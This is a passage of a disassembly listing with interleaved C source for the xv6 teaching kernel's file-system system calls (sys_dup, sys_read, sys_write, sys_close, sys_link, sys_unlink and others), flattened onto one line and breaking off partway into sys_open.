iunlockput(ip); 80104cb0: 83 ec 0c sub $0xc,%esp 80104cb3: 57 push %edi return 0; 80104cb4: 31 ff xor %edi,%edi iunlockput(ip); 80104cb6: e8 55 cc ff ff call 80101910 <iunlockput> return 0; 80104cbb: 83 c4 10 add $0x10,%esp } 80104cbe: 8d 65 f4 lea -0xc(%ebp),%esp 80104cc1: 89 f8 mov %edi,%eax 80104cc3: 5b pop %ebx 80104cc4: 5e pop %esi 80104cc5: 5f pop %edi 80104cc6: 5d pop %ebp 80104cc7: c3 ret 80104cc8: 90 nop 80104cc9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi dp->nlink++; // for ".." 80104cd0: 66 83 43 56 01 addw $0x1,0x56(%ebx) iupdate(dp); 80104cd5: 83 ec 0c sub $0xc,%esp 80104cd8: 53 push %ebx 80104cd9: e8 f2 c8 ff ff call 801015d0 <iupdate> if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0) 80104cde: 83 c4 0c add $0xc,%esp 80104ce1: ff 77 04 pushl 0x4(%edi) 80104ce4: 68 58 7a 10 80 push $0x80107a58 80104ce9: 57 push %edi 80104cea: e8 31 d1 ff ff call 80101e20 <dirlink> 80104cef: 83 c4 10 add $0x10,%esp 80104cf2: 85 c0 test %eax,%eax 80104cf4: 78 1c js 80104d12 <create+0x162> 80104cf6: 83 ec 04 sub $0x4,%esp 80104cf9: ff 73 04 pushl 0x4(%ebx) 80104cfc: 68 57 7a 10 80 push $0x80107a57 80104d01: 57 push %edi 80104d02: e8 19 d1 ff ff call 80101e20 <dirlink> 80104d07: 83 c4 10 add $0x10,%esp 80104d0a: 85 c0 test %eax,%eax 80104d0c: 0f 89 6e ff ff ff jns 80104c80 <create+0xd0> panic("create dots"); 80104d12: 83 ec 0c sub $0xc,%esp 80104d15: 68 4b 7a 10 80 push $0x80107a4b 80104d1a: e8 71 b6 ff ff call 80100390 <panic> 80104d1f: 90 nop return 0; 80104d20: 31 ff xor %edi,%edi 80104d22: e9 fd fe ff ff jmp 80104c24 <create+0x74> panic("create: dirlink"); 80104d27: 83 ec 0c sub $0xc,%esp 80104d2a: 68 5a 7a 10 80 push $0x80107a5a 80104d2f: e8 5c b6 ff ff call 80100390 <panic> panic("create: ialloc"); 80104d34: 83 ec 0c sub $0xc,%esp 80104d37: 68 3c 7a 10 80 push $0x80107a3c 80104d3c: e8 4f b6 ff ff call 80100390 <panic> 80104d41: eb 0d jmp 80104d50 <argfd.constprop.0> 80104d43: 90 nop 80104d44: 90 nop 80104d45: 90 nop 80104d46: 90 nop 80104d47: 90 nop 80104d48: 90 nop 80104d49: 90 nop 80104d4a: 90 nop 80104d4b: 90 nop 80104d4c: 90 nop 80104d4d: 90 nop 80104d4e: 90 nop 80104d4f: 90 nop 80104d50 <argfd.constprop.0>: argfd(int n, int *pfd, struct file **pf) 80104d50: 55 push %ebp 80104d51: 89 e5 mov %esp,%ebp 80104d53: 56 push %esi 80104d54: 53 push %ebx 80104d55: 89 c3 mov %eax,%ebx if(argint(n, &fd) < 0) 80104d57: 8d 45 f4 lea -0xc(%ebp),%eax argfd(int n, int *pfd, struct file **pf) 80104d5a: 89 d6 mov %edx,%esi 80104d5c: 83 ec 18 sub $0x18,%esp if(argint(n, &fd) < 0) 80104d5f: 50 push %eax 80104d60: 6a 00 push $0x0 80104d62: e8 f9 fc ff ff call 80104a60 <argint> 80104d67: 83 c4 10 add $0x10,%esp 80104d6a: 85 c0 test %eax,%eax 80104d6c: 78 2a js 80104d98 <argfd.constprop.0+0x48> if(fd < 0 || fd >= NOFILE || (f=myproc()->ofile[fd]) == 0) 80104d6e: 83 7d f4 0f cmpl $0xf,-0xc(%ebp) 80104d72: 77 24 ja 80104d98 <argfd.constprop.0+0x48> 80104d74: e8 87 ea ff ff call 80103800 <myproc> 80104d79: 8b 55 f4 mov -0xc(%ebp),%edx 80104d7c: 8b 44 90 28 mov 0x28(%eax,%edx,4),%eax 80104d80: 85 c0 test %eax,%eax 80104d82: 74 14 je 80104d98 <argfd.constprop.0+0x48> if(pfd) 80104d84: 85 db test %ebx,%ebx 80104d86: 74 02 je 80104d8a <argfd.constprop.0+0x3a> *pfd = fd; 80104d88: 89 13 mov %edx,(%ebx) *pf = f; 80104d8a: 89 06 mov %eax,(%esi) return 0; 80104d8c: 31 c0 xor %eax,%eax } 80104d8e: 8d 65 f8 lea -0x8(%ebp),%esp 80104d91: 5b pop %ebx 80104d92: 5e pop %esi 80104d93: 5d pop %ebp 80104d94: c3 ret 80104d95: 8d 76 00 lea 0x0(%esi),%esi return -1; 80104d98: b8 ff ff ff ff mov $0xffffffff,%eax 80104d9d: eb ef jmp 80104d8e <argfd.constprop.0+0x3e> 80104d9f: 90 nop 80104da0 <sys_dup>: { 80104da0: 55 push %ebp if(argfd(0, 0, &f) < 0) 80104da1: 31 c0 xor %eax,%eax { 80104da3: 89 e5 mov %esp,%ebp 80104da5: 56 push %esi 80104da6: 53 push %ebx if(argfd(0, 0, &f) < 0) 80104da7: 8d 55 f4 lea -0xc(%ebp),%edx { 80104daa: 83 ec 10 sub $0x10,%esp if(argfd(0, 0, &f) < 0) 80104dad: e8 9e ff ff ff call 80104d50 <argfd.constprop.0> 80104db2: 85 c0 test %eax,%eax 80104db4: 78 42 js 80104df8 <sys_dup+0x58> if((fd=fdalloc(f)) < 0) 80104db6: 8b 75 f4 mov -0xc(%ebp),%esi for(fd = 0; fd < NOFILE; fd++){ 80104db9: 31 db xor %ebx,%ebx struct proc *curproc = myproc(); 80104dbb: e8 40 ea ff ff call 80103800 <myproc> 80104dc0: eb 0e jmp 80104dd0 <sys_dup+0x30> 80104dc2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi for(fd = 0; fd < NOFILE; fd++){ 80104dc8: 83 c3 01 add $0x1,%ebx 80104dcb: 83 fb 10 cmp $0x10,%ebx 80104dce: 74 28 je 80104df8 <sys_dup+0x58> if(curproc->ofile[fd] == 0){ 80104dd0: 8b 54 98 28 mov 0x28(%eax,%ebx,4),%edx 80104dd4: 85 d2 test %edx,%edx 80104dd6: 75 f0 jne 80104dc8 <sys_dup+0x28> curproc->ofile[fd] = f; 80104dd8: 89 74 98 28 mov %esi,0x28(%eax,%ebx,4) filedup(f); 80104ddc: 83 ec 0c sub $0xc,%esp 80104ddf: ff 75 f4 pushl -0xc(%ebp) 80104de2: e8 09 c0 ff ff call 80100df0 <filedup> return fd; 80104de7: 83 c4 10 add $0x10,%esp } 80104dea: 8d 65 f8 lea -0x8(%ebp),%esp 80104ded: 89 d8 mov %ebx,%eax 80104def: 5b pop %ebx 80104df0: 5e pop %esi 80104df1: 5d pop %ebp 80104df2: c3 ret 80104df3: 90 nop 80104df4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104df8: 8d 65 f8 lea -0x8(%ebp),%esp return -1; 80104dfb: bb ff ff ff ff mov $0xffffffff,%ebx } 80104e00: 89 d8 mov %ebx,%eax 80104e02: 5b pop %ebx 80104e03: 5e pop %esi 80104e04: 5d pop %ebp 80104e05: c3 ret 80104e06: 8d 76 00 lea 0x0(%esi),%esi 80104e09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104e10 <sys_read>: { 80104e10: 55 push %ebp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104e11: 31 c0 xor %eax,%eax { 80104e13: 89 e5 mov %esp,%ebp 80104e15: 83 ec 18 sub $0x18,%esp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104e18: 8d 55 ec lea -0x14(%ebp),%edx 80104e1b: e8 30 ff ff ff call 80104d50 <argfd.constprop.0> 80104e20: 85 c0 test %eax,%eax 80104e22: 78 4c js 80104e70 <sys_read+0x60> 80104e24: 8d 45 f0 lea -0x10(%ebp),%eax 80104e27: 83 ec 08 sub $0x8,%esp 80104e2a: 50 push %eax 80104e2b: 6a 02 push $0x2 80104e2d: e8 2e fc ff ff call 80104a60 <argint> 80104e32: 83 c4 10 add $0x10,%esp 80104e35: 85 c0 test %eax,%eax 80104e37: 78 37 js 80104e70 <sys_read+0x60> 80104e39: 8d 45 f4 lea -0xc(%ebp),%eax 80104e3c: 83 ec 04 sub $0x4,%esp 80104e3f: ff 75 f0 pushl -0x10(%ebp) 80104e42: 50 push %eax 80104e43: 6a 01 push $0x1 80104e45: e8 66 fc ff ff call 80104ab0 <argptr> 80104e4a: 83 c4 10 add $0x10,%esp 80104e4d: 85 c0 test %eax,%eax 80104e4f: 78 1f js 80104e70 <sys_read+0x60> return fileread(f, p, n); 80104e51: 83 ec 04 sub $0x4,%esp 80104e54: ff 75 f0 pushl -0x10(%ebp) 80104e57: ff 75 f4 pushl -0xc(%ebp) 80104e5a: ff 75 ec pushl -0x14(%ebp) 80104e5d: e8 fe c0 ff ff call 80100f60 <fileread> 80104e62: 83 c4 10 add $0x10,%esp } 80104e65: c9 leave 80104e66: c3 ret 80104e67: 89 f6 mov %esi,%esi 80104e69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi return -1; 80104e70: b8 ff ff ff ff mov $0xffffffff,%eax } 80104e75: c9 leave 80104e76: c3 ret 80104e77: 89 f6 mov %esi,%esi 80104e79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104e80 <sys_write>: { 80104e80: 55 push %ebp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104e81: 31 c0 xor %eax,%eax { 80104e83: 89 e5 mov %esp,%ebp 80104e85: 83 ec 18 sub $0x18,%esp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104e88: 8d 55 ec lea -0x14(%ebp),%edx 80104e8b: e8 c0 fe ff ff call 80104d50 <argfd.constprop.0> 80104e90: 85 c0 test %eax,%eax 80104e92: 78 4c js 80104ee0 <sys_write+0x60> 80104e94: 8d 45 f0 lea -0x10(%ebp),%eax 80104e97: 83 ec 08 sub $0x8,%esp 80104e9a: 50 push %eax 80104e9b: 6a 02 push $0x2 80104e9d: e8 be fb ff ff call 80104a60 <argint> 80104ea2: 83 c4 10 add $0x10,%esp 80104ea5: 85 c0 test %eax,%eax 80104ea7: 78 37 js 80104ee0 <sys_write+0x60> 80104ea9: 8d 45 f4 lea -0xc(%ebp),%eax 80104eac: 83 ec 04 sub $0x4,%esp 80104eaf: ff 75 f0 pushl -0x10(%ebp) 80104eb2: 50 push %eax 80104eb3: 6a 01 push $0x1 80104eb5: e8 f6 fb ff ff call 80104ab0 <argptr> 80104eba: 83 c4 10 add $0x10,%esp 80104ebd: 85 c0 test %eax,%eax 80104ebf: 78 1f js 80104ee0 <sys_write+0x60> return filewrite(f, p, n); 80104ec1: 83 ec 04 sub $0x4,%esp 80104ec4: ff 75 f0 pushl -0x10(%ebp) 80104ec7: ff 75 f4 pushl -0xc(%ebp) 80104eca: ff 75 ec pushl -0x14(%ebp) 80104ecd: e8 1e c1 ff ff call 80100ff0 <filewrite> 80104ed2: 83 c4 10 add $0x10,%esp } 80104ed5: c9 leave 80104ed6: c3 ret 80104ed7: 89 f6 mov %esi,%esi 80104ed9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi return -1; 80104ee0: b8 ff ff ff ff mov $0xffffffff,%eax } 80104ee5: c9 leave 80104ee6: c3 ret 80104ee7: 89 f6 mov %esi,%esi 80104ee9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104ef0 <sys_close>: { 80104ef0: 55 push %ebp 80104ef1: 89 e5 mov %esp,%ebp 80104ef3: 83 ec 18 sub $0x18,%esp if(argfd(0, &fd, &f) < 0) 80104ef6: 8d 55 f4 lea -0xc(%ebp),%edx 80104ef9: 8d 45 f0 lea -0x10(%ebp),%eax 80104efc: e8 4f fe ff ff call 80104d50 <argfd.constprop.0> 80104f01: 85 c0 test %eax,%eax 80104f03: 78 2b js 80104f30 <sys_close+0x40> myproc()->ofile[fd] = 0; 80104f05: e8 f6 e8 ff ff call 80103800 <myproc> 80104f0a: 8b 55 f0 mov -0x10(%ebp),%edx fileclose(f); 80104f0d: 83 ec 0c sub $0xc,%esp myproc()->ofile[fd] = 0; 80104f10: c7 44 90 28 00 00 00 movl $0x0,0x28(%eax,%edx,4) 80104f17: 00 fileclose(f); 80104f18: ff 75 f4 pushl -0xc(%ebp) 80104f1b: e8 20 bf ff ff call 80100e40 <fileclose> return 0; 80104f20: 83 c4 10 add $0x10,%esp 80104f23: 31 c0 xor %eax,%eax } 80104f25: c9 leave 80104f26: c3 ret 80104f27: 89 f6 mov %esi,%esi 80104f29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi return -1; 80104f30: b8 ff ff ff ff mov $0xffffffff,%eax } 80104f35: c9 leave 80104f36: c3 ret 80104f37: 89 f6 mov %esi,%esi 80104f39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104f40 <sys_fstat>: { 80104f40: 55 push %ebp if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0) 80104f41: 31 c0 xor %eax,%eax { 80104f43: 89 e5 mov %esp,%ebp 80104f45: 83 ec 18 sub $0x18,%esp if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0) 80104f48: 8d 55 f0 lea -0x10(%ebp),%edx 80104f4b: e8 00 fe ff ff call 80104d50 <argfd.constprop.0> 80104f50: 85 c0 test %eax,%eax 80104f52: 78 2c js 80104f80 <sys_fstat+0x40> 80104f54: 8d 45 f4 lea -0xc(%ebp),%eax 80104f57: 83 ec 04 sub $0x4,%esp 80104f5a: 6a 14 push $0x14 80104f5c: 50 push %eax 80104f5d: 6a 01 push $0x1 80104f5f: e8 4c fb ff ff call 80104ab0 <argptr> 80104f64: 83 c4 10 add $0x10,%esp 80104f67: 85 c0 test %eax,%eax 80104f69: 78 15 js 80104f80 <sys_fstat+0x40> return filestat(f, st); 80104f6b: 83 ec 08 sub $0x8,%esp 80104f6e: ff 75 f4 pushl -0xc(%ebp) 80104f71: ff 75 f0 pushl -0x10(%ebp) 80104f74: e8 97 bf ff ff call 80100f10 <filestat> 80104f79: 83 c4 10 add $0x10,%esp } 80104f7c: c9 leave 80104f7d: c3 ret 80104f7e: 66 90 xchg %ax,%ax return -1; 80104f80: b8 ff ff ff ff mov $0xffffffff,%eax } 80104f85: c9 leave 80104f86: c3 ret 80104f87: 89 f6 mov %esi,%esi 80104f89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104f90 <sys_link>: { 80104f90: 55 push %ebp 80104f91: 89 e5 mov %esp,%ebp 80104f93: 57 push %edi 80104f94: 56 push %esi 80104f95: 53 push %ebx if(argstr(0, &old) < 0 || argstr(1, &new) < 0) 80104f96: 8d 45 d4 lea -0x2c(%ebp),%eax { 80104f99: 83 ec 34 sub $0x34,%esp if(argstr(0, &old) < 0 || argstr(1, &new) < 0) 80104f9c: 50 push %eax 80104f9d: 6a 00 push $0x0 80104f9f: e8 6c fb ff ff call 80104b10 <argstr> 80104fa4: 83 c4 10 add $0x10,%esp 80104fa7: 85 c0 test %eax,%eax 80104fa9: 0f 88 fb 00 00 00 js 801050aa <sys_link+0x11a> 80104faf: 8d 45 d0 lea -0x30(%ebp),%eax 80104fb2: 83 ec 08 sub $0x8,%esp 80104fb5: 50 push %eax 80104fb6: 6a 01 push $0x1 80104fb8: e8 53 fb ff ff call 80104b10 <argstr> 80104fbd: 83 c4 10 add $0x10,%esp 80104fc0: 85 c0 test %eax,%eax 80104fc2: 0f 88 e2 00 00 00 js 801050aa <sys_link+0x11a> begin_op(); 80104fc8: e8 d3 db ff ff call 80102ba0 <begin_op> if((ip = namei(old)) == 0){ 80104fcd: 83 ec 0c sub $0xc,%esp 80104fd0: ff 75 d4 pushl -0x2c(%ebp) 80104fd3: e8 08 cf ff ff call 80101ee0 <namei> 80104fd8: 83 c4 10 add $0x10,%esp 80104fdb: 85 c0 test %eax,%eax 80104fdd: 89 c3 mov %eax,%ebx 80104fdf: 0f 84 ea 00 00 00 je 801050cf <sys_link+0x13f> ilock(ip); 80104fe5: 83 ec 0c sub $0xc,%esp 80104fe8: 50 push %eax 80104fe9: e8 92 c6 ff ff call 80101680 <ilock> if(ip->type == T_DIR){ 80104fee: 83 c4 10 add $0x10,%esp 80104ff1: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80104ff6: 0f 84 bb 00 00 00 je 801050b7 <sys_link+0x127> ip->nlink++; 80104ffc: 66 83 43 56 01 addw $0x1,0x56(%ebx) iupdate(ip); 80105001: 83 ec 0c sub $0xc,%esp if((dp = nameiparent(new, name)) == 0) 80105004: 8d 7d da lea -0x26(%ebp),%edi iupdate(ip); 80105007: 53 push %ebx 80105008: e8 c3 c5 ff ff call 801015d0 <iupdate> iunlock(ip); 8010500d: 89 1c 24 mov %ebx,(%esp) 80105010: e8 4b c7 ff ff call 80101760 <iunlock> if((dp = nameiparent(new, name)) == 0) 80105015: 58 pop %eax 80105016: 5a pop %edx 80105017: 57 push %edi 80105018: ff 75 d0 pushl -0x30(%ebp) 8010501b: e8 e0 ce ff ff call 80101f00 <nameiparent> 80105020: 83 c4 10 add $0x10,%esp 80105023: 85 c0 test %eax,%eax 80105025: 89 c6 mov %eax,%esi 80105027: 74 5b je 80105084 <sys_link+0xf4> ilock(dp); 80105029: 83 ec 0c sub $0xc,%esp 8010502c: 50 push %eax 8010502d: e8 4e c6 ff ff call 80101680 <ilock> if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){ 80105032: 83 c4 10 add $0x10,%esp 80105035: 8b 03 mov (%ebx),%eax 80105037: 39 06 cmp %eax,(%esi) 80105039: 75 3d jne 80105078 <sys_link+0xe8> 8010503b: 83 ec 04 sub $0x4,%esp 8010503e: ff 73 04 pushl 0x4(%ebx) 80105041: 57 push %edi 80105042: 56 push %esi 80105043: e8 d8 cd ff ff call 80101e20 <dirlink> 80105048: 83 c4 10 add $0x10,%esp 8010504b: 85 c0 test %eax,%eax 8010504d: 78 29 js 80105078 <sys_link+0xe8> iunlockput(dp); 8010504f: 83 ec 0c sub $0xc,%esp 80105052: 56 push %esi 80105053: e8 b8 c8 ff ff call 80101910 <iunlockput> iput(ip); 80105058: 89 1c 24 mov %ebx,(%esp) 8010505b: e8 50 c7 ff ff call 801017b0 <iput> end_op(); 80105060: e8 ab db ff ff call 80102c10 <end_op> return 0; 80105065: 83 c4 10 add $0x10,%esp 80105068: 31 c0 xor %eax,%eax } 8010506a: 8d 65 f4 lea -0xc(%ebp),%esp 8010506d: 5b pop %ebx 8010506e: 5e pop %esi 8010506f: 5f pop %edi 80105070: 5d pop %ebp 80105071: c3 ret 80105072: 8d b6 00 00 00 00 lea 0x0(%esi),%esi iunlockput(dp); 80105078: 83 ec 0c sub $0xc,%esp 8010507b: 56 push %esi 8010507c: e8 8f c8 ff ff call 80101910 <iunlockput> goto bad; 80105081: 83 c4 10 add $0x10,%esp ilock(ip); 80105084: 83 ec 0c sub $0xc,%esp 80105087: 53 push %ebx 80105088: e8 f3 c5 ff ff call 80101680 <ilock> ip->nlink--; 8010508d: 66 83 6b 56 01 subw $0x1,0x56(%ebx) iupdate(ip); 80105092: 89 1c 24 mov %ebx,(%esp) 80105095: e8 36 c5 ff ff call 801015d0 <iupdate> iunlockput(ip); 8010509a: 89 1c 24 mov %ebx,(%esp) 8010509d: e8 6e c8 ff ff call 80101910 <iunlockput> end_op(); 801050a2: e8 69 db ff ff call 80102c10 <end_op> return -1; 801050a7: 83 c4 10 add $0x10,%esp } 801050aa: 8d 65 f4 lea -0xc(%ebp),%esp return -1; 801050ad: b8 ff ff ff ff mov $0xffffffff,%eax } 801050b2: 5b pop %ebx 801050b3: 5e pop %esi 801050b4: 5f pop %edi 801050b5: 5d pop %ebp 801050b6: c3 ret iunlockput(ip); 801050b7: 83 ec 0c sub $0xc,%esp 801050ba: 53 push %ebx 801050bb: e8 50 c8 ff ff call 80101910 <iunlockput> end_op(); 801050c0: e8 4b db ff ff call 80102c10 <end_op> return -1; 801050c5: 83 c4 10 add $0x10,%esp 801050c8: b8 ff ff ff ff mov $0xffffffff,%eax 801050cd: eb 9b jmp 8010506a <sys_link+0xda> end_op(); 801050cf: e8 3c db ff ff call 80102c10 <end_op> return -1; 801050d4: b8 ff ff ff ff mov $0xffffffff,%eax 801050d9: eb 8f jmp 8010506a <sys_link+0xda> 801050db: 90 nop 801050dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801050e0 <sys_unlink>: { 801050e0: 55 push %ebp 801050e1: 89 e5 mov %esp,%ebp 801050e3: 57 push %edi 801050e4: 56 push %esi 801050e5: 53 push %ebx if(argstr(0, &path) < 0) 801050e6: 8d 45 c0 lea -0x40(%ebp),%eax { 801050e9: 83 ec 44 sub $0x44,%esp if(argstr(0, &path) < 0) 801050ec: 50 push %eax 801050ed: 6a 00 push $0x0 801050ef: e8 1c fa ff ff call 80104b10 <argstr> 801050f4: 83 c4 10 add $0x10,%esp 801050f7: 85 c0 test %eax,%eax 801050f9: 0f 88 77 01 00 00 js 80105276 <sys_unlink+0x196> if((dp = nameiparent(path, name)) == 0){ 801050ff: 8d 5d ca lea -0x36(%ebp),%ebx begin_op(); 80105102: e8 99 da ff ff call 80102ba0 <begin_op> if((dp = nameiparent(path, name)) == 0){ 80105107: 83 ec 08 sub $0x8,%esp 8010510a: 53 push %ebx 8010510b: ff 75 c0 pushl -0x40(%ebp) 8010510e: e8 ed cd ff ff call 80101f00 <nameiparent> 80105113: 83 c4 10 add $0x10,%esp 80105116: 85 c0 test %eax,%eax 80105118: 89 c6 mov %eax,%esi 8010511a: 0f 84 60 01 00 00 je 80105280 <sys_unlink+0x1a0> ilock(dp); 80105120: 83 ec 0c sub $0xc,%esp 80105123: 50 push %eax 80105124: e8 57 c5 ff ff call 80101680 <ilock> if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0) 80105129: 58 pop %eax 8010512a: 5a pop %edx 8010512b: 68 58 7a 10 80 push $0x80107a58 80105130: 53 push %ebx 80105131: e8 5a ca ff ff call 80101b90 <namecmp> 80105136: 83 c4 10 add $0x10,%esp 80105139: 85 c0 test %eax,%eax 8010513b: 0f 84 03 01 00 00 je 80105244 <sys_unlink+0x164> 80105141: 83 ec 08 sub $0x8,%esp 80105144: 68 57 7a 10 80 push $0x80107a57 80105149: 53 push %ebx 8010514a: e8 41 ca ff ff call 80101b90 <namecmp> 8010514f: 83 c4 10 add $0x10,%esp 80105152: 85 c0 test %eax,%eax 80105154: 0f 84 ea 00 00 00 je 80105244 <sys_unlink+0x164> if((ip = dirlookup(dp, name, &off)) == 0) 8010515a: 8d 45 c4 lea -0x3c(%ebp),%eax 8010515d: 83 ec 04 sub $0x4,%esp 80105160: 50 push %eax 80105161: 53 push %ebx 80105162: 56 push %esi 80105163: e8 48 ca ff ff call 80101bb0 <dirlookup> 80105168: 83 c4 10 add $0x10,%esp 8010516b: 85 c0 test %eax,%eax 8010516d: 89 c3 mov %eax,%ebx 8010516f: 0f 84 cf 00 00 00 je 80105244 <sys_unlink+0x164> ilock(ip); 80105175: 83 ec 0c sub $0xc,%esp 80105178: 50 push %eax 80105179: e8 02 c5 ff ff call 80101680 <ilock> if(ip->nlink < 1) 8010517e: 83 c4 10 add $0x10,%esp 80105181: 66 83 7b 56 00 cmpw $0x0,0x56(%ebx) 80105186: 0f 8e 10 01 00 00 jle 8010529c <sys_unlink+0x1bc> if(ip->type == T_DIR && !isdirempty(ip)){ 8010518c: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80105191: 74 6d je 80105200 <sys_unlink+0x120> memset(&de, 0, sizeof(de)); 80105193: 8d 45 d8 lea -0x28(%ebp),%eax 80105196: 83 ec 04 sub $0x4,%esp 80105199: 6a 10 push $0x10 8010519b: 6a 00 push $0x0 8010519d: 50 push %eax 8010519e: e8 bd f5 ff ff call 80104760 <memset> if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 801051a3: 8d 45 d8 lea -0x28(%ebp),%eax 801051a6: 6a 10 push $0x10 801051a8: ff 75 c4 pushl -0x3c(%ebp) 801051ab: 50 push %eax 801051ac: 56 push %esi 801051ad: e8 ae c8 ff ff call 80101a60 <writei> 801051b2: 83 c4 20 add $0x20,%esp 801051b5: 83 f8 10 cmp $0x10,%eax 801051b8: 0f 85 eb 00 00 00 jne 801052a9 <sys_unlink+0x1c9> if(ip->type == T_DIR){ 801051be: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 801051c3: 0f 84 97 00 00 00 je 80105260 <sys_unlink+0x180> iunlockput(dp); 801051c9: 83 ec 0c sub $0xc,%esp 801051cc: 56 push %esi 801051cd: e8 3e c7 ff ff call 80101910 <iunlockput> ip->nlink--; 801051d2: 66 83 6b 56 01 subw $0x1,0x56(%ebx) iupdate(ip); 801051d7: 89 1c 24 mov %ebx,(%esp) 801051da: e8 f1 c3 ff ff call 801015d0 <iupdate> iunlockput(ip); 801051df: 89 1c 24 mov %ebx,(%esp) 801051e2: e8 29 c7 ff ff call 80101910 <iunlockput> end_op(); 801051e7: e8 24 da ff ff call 80102c10 <end_op> return 0; 801051ec: 83 c4 10 add $0x10,%esp 801051ef: 31 c0 xor %eax,%eax } 801051f1: 8d 65 f4 lea -0xc(%ebp),%esp 801051f4: 5b pop %ebx 801051f5: 5e pop %esi 801051f6: 5f pop %edi 801051f7: 5d pop %ebp 801051f8: c3 ret 801051f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){ 80105200: 83 7b 58 20 cmpl $0x20,0x58(%ebx) 80105204: 76 8d jbe 80105193 <sys_unlink+0xb3> 80105206: bf 20 00 00 00 mov $0x20,%edi 8010520b: eb 0f jmp 8010521c <sys_unlink+0x13c> 8010520d: 8d 76 00 lea 0x0(%esi),%esi 80105210: 83 c7 10 add $0x10,%edi 80105213: 3b 7b 58 cmp 0x58(%ebx),%edi 80105216: 0f 83 77 ff ff ff jae 80105193 <sys_unlink+0xb3> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 8010521c: 8d 45 d8 lea -0x28(%ebp),%eax 8010521f: 6a 10 push $0x10 80105221: 57 push %edi 80105222: 50 push %eax 80105223: 53 push %ebx 80105224: e8 37 c7 ff ff call 80101960 <readi> 80105229: 83 c4 10 add $0x10,%esp 8010522c: 83 f8 10 cmp $0x10,%eax 8010522f: 75 5e jne 8010528f <sys_unlink+0x1af> if(de.inum != 0) 80105231: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80105236: 74 d8 je 80105210 <sys_unlink+0x130> iunlockput(ip); 80105238: 83 ec 0c sub $0xc,%esp 8010523b: 53 push %ebx 8010523c: e8 cf c6 ff ff call 80101910 <iunlockput> goto bad; 80105241: 83 c4 10 add $0x10,%esp iunlockput(dp); 80105244: 83 ec 0c sub $0xc,%esp 80105247: 56 push %esi 80105248: e8 c3 c6 ff ff call 80101910 <iunlockput> end_op(); 8010524d: e8 be d9 ff ff call 80102c10 <end_op> return -1; 80105252: 83 c4 10 add $0x10,%esp 80105255: b8 ff ff ff ff mov $0xffffffff,%eax 8010525a: eb 95 jmp 801051f1 <sys_unlink+0x111> 8010525c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi dp->nlink--; 80105260: 66 83 6e 56 01 subw $0x1,0x56(%esi) iupdate(dp); 80105265: 83 ec 0c sub $0xc,%esp 80105268: 56 push %esi 80105269: e8 62 c3 ff ff call 801015d0 <iupdate> 8010526e: 83 c4 10 add $0x10,%esp 80105271: e9 53 ff ff ff jmp 801051c9 <sys_unlink+0xe9> return -1; 80105276: b8 ff ff ff ff mov $0xffffffff,%eax 8010527b: e9 71 ff ff ff jmp 801051f1 <sys_unlink+0x111> end_op(); 80105280: e8 8b d9 ff ff call 80102c10 <end_op> return -1; 80105285: b8 ff ff ff ff mov $0xffffffff,%eax 8010528a: e9 62 ff ff ff jmp 801051f1 <sys_unlink+0x111> panic("isdirempty: readi"); 8010528f: 83 ec 0c sub $0xc,%esp 80105292: 68 7c 7a 10 80 push $0x80107a7c 80105297: e8 f4 b0 ff ff call 80100390 <panic> panic("unlink: nlink < 1"); 8010529c: 83 ec 0c sub $0xc,%esp 8010529f: 68 6a 7a 10 80 push $0x80107a6a 801052a4: e8 e7 b0 ff ff call 80100390 <panic> panic("unlink: writei"); 801052a9: 83 ec 0c sub $0xc,%esp 801052ac: 68 8e 7a 10 80 push $0x80107a8e 801052b1: e8 da b0 ff ff call 80100390 <panic> 801052b6: 8d 76 00 lea 0x0(%esi),%esi 801052b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801052c0 <sys_open>: int sys_open(void) { 801052c0: 55 push %ebp 801052c1: 89 e5 mov %esp,%ebp 801052c3: 57 push %edi 801052c4: 56 push %esi 801052c5: 53 push %ebx char *path; int fd, omode; struct file *f; struct inode *ip; if(argstr(0, &path) < 0 || argint(1, &omode) < 0) 801052c6: 8d 45 e0 lea -0x20(%ebp),%eax { 801052c9: 83 ec 24 sub $0x24,%esp if(argstr(0, &path) < 0 || argint(1, &omode) < 0) 801052cc: 50 push %eax 801052cd: 6a 00 push $0x0 801052cf: e8 3c f8 ff ff call 80104b10 <argstr> 801052d4: 83 c4 10 add $0x10,%esp 801052d7: 85 c0 test %eax,%eax 801052d9: 0f 88 1d 01 00 00 js 801053fc <sys_open+0x13c> 801052df: 8d 45 e4 lea -0x1c(%ebp),%eax 801052e2: 83 ec 08 sub 